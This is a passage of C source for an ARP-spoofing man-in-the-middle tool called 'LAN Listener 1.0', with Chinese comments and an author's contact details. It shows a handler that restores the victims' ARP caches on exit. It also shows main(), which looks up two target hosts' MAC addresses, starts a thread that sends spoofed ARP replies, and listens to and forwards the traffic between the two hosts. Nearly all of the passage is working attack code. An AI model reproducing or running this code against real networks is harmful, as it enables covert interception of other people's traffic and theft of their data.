arp->arp_hln = ETH_ALEN;
arp->arp_pro = htons(ETHERTYPE_IP);
arp->arp_pln = 4;
arp->arp_op = htons(ARPOP_REPLY);
memcpy(arp->arp_sha,global_mac1,ETH_ALEN);
memcpy(arp->arp_spa,&in_addr1,4);
memcpy(arp->arp_tha,global_mac2,ETH_ALEN);
memcpy(arp->arp_tpa,&in_addr2,4);
int n,sum = 2;
/**
*将线程结束标志置为真,结束攻击线程。
*/
thread_stop = 1;
sleep(1);
printf("开始恢复主机缓存表----------------------------------------------------------\n");
while(sum > 0){
/**
* 发送ARP 应答报文到目标主机1
*/
n = sendto(sockfd,buffer1,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));
if(n < 0){
perror("sendto error");
}else
printf("sendto %d byte(s)\n",n);
/**
* 调试语句,打印数据包各个字段值。
*/
#ifdef _DEBUG
printf("打印恢复包:\n");
print_ether_header(buffer1);
print_arp_packet((struct ether_arp*)(buffer1+sizeof(struct ether_header)));
#endif
/**
* 发送ARP 应答报文到目标主机2
*/
n = sendto(sockfd,buffer2,ETHER_BUF_LEN,0,(struct sockaddr*) &toaddr,sizeof(toaddr));
if(n < 0){
perror("sendto error");
}else
printf("sendto %d byte(s)\n",n);
/**
* 调试语句,打印数据包各个字段值。
*/
#ifdef _DEBUG
printf("打印恢复包:\n");
print_ether_header(buffer2);
print_arp_packet((struct ether_arp*)(buffer2+sizeof(struct ether_header)));
#endif
sum--;
sleep(1);
}
close(sockfd);
exit (0);
}
/**
* 打印软件信息。
* 2014.5.29
*/
void about_listener()
{
printf("LAN Listener 1.0.\n");
printf("Author Wen Shifang.\n");
printf("email 772148609@qq.com\n");
printf("2014.5.29\n");
}
/**
* 主函数,首先请求目标主机1,2的物理地址,然后向其发送arp欺骗报文,截获二者之间的IP数据报。
* 命令行参数:
* argc 参数个数。
* argv 命令行参数字串。
*/
int main(int argc,char** argv)
{
char *net_dev_name = argv[1];
char *remote_ip1 = argv[2];
char *remote_ip2 = argv[3];
unsigned char remote_mac1[ETH_ALEN];
unsigned char remote_mac2[ETH_ALEN];
memset(remote_mac1,0,sizeof(remote_mac1));
memset(remote_mac2,0,sizeof(remote_mac2));
if(argc != 4){
printf("\tUseage: %s ifname ip1 ip2\n",argv[0]);
printf("\tExample: ./main eth0 192.168.9.254 192.168.9.222\n");
exit(1);
}
about_listener();
if( get_mac_by_ip(net_dev_name,remote_ip1,remote_mac1) == -1){
printf("host %s no response\n",remote_ip1);
exit (1);
}
if( get_mac_by_ip(net_dev_name,remote_ip2,remote_mac2) == -1){
printf("host %s no response\n",remote_ip2);
exit (1);
}
printf("target 1 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
remote_mac1[0],remote_mac1[1],remote_mac1[2],remote_mac1[3],remote_mac1[4],remote_mac1[5]);
printf("target 2 mac address is ---->>>> %.2x:%.2x:%.2x:%.2x:%.2x:%.2x\n",\
remote_mac2[0],remote_mac2[1],remote_mac2[2],remote_mac2[3],remote_mac2[4],remote_mac2[5]);
struct thread_args * p = (struct thread_args*) malloc(sizeof(struct thread_args));
if(!p){
perror("malloc failed");
exit(1);
}
strcpy(p->interface_name,net_dev_name);
strcpy(p->target_ip1,remote_ip1);
strcpy(p->target_ip2,remote_ip2);
memcpy(p->target_mac1,remote_mac1,ETH_ALEN);
memcpy(p->target_mac2,remote_mac2,ETH_ALEN);
printf("target 1 ip address is ->>>>>> %s\n",p->target_ip1);
printf("target 2 ip address is ->>>>>> %s\n",p->target_ip2);
/**
* 创建一个字线程,定时发送ARP欺骗包
*/
pthread_t tid;
if(pthread_create(&tid,NULL,thread_attack,p) != 0){
perror("create thread failed");
exit(1);
}
/**
* 注册信号处理函数,quit_handler,SIGINT [Ctrl+C]。
*/
memcpy(global_mac1,remote_mac1,ETH_ALEN);
memcpy(global_mac2,remote_mac2,ETH_ALEN);
strcpy(global_ip1,remote_ip1);
strcpy(global_ip2,remote_ip2);
strcpy(ifname,net_dev_name);
if(signal(SIGINT,quit_handler) == SIG_ERR){
perror("can not install signal handler");
exit(1);
}
/**
*开始监听目标主机间的通讯,并转发。
*/
attack_listen(net_dev_name,remote_ip1,remote_ip2,remote_mac1,remote_mac2);
return 0;
}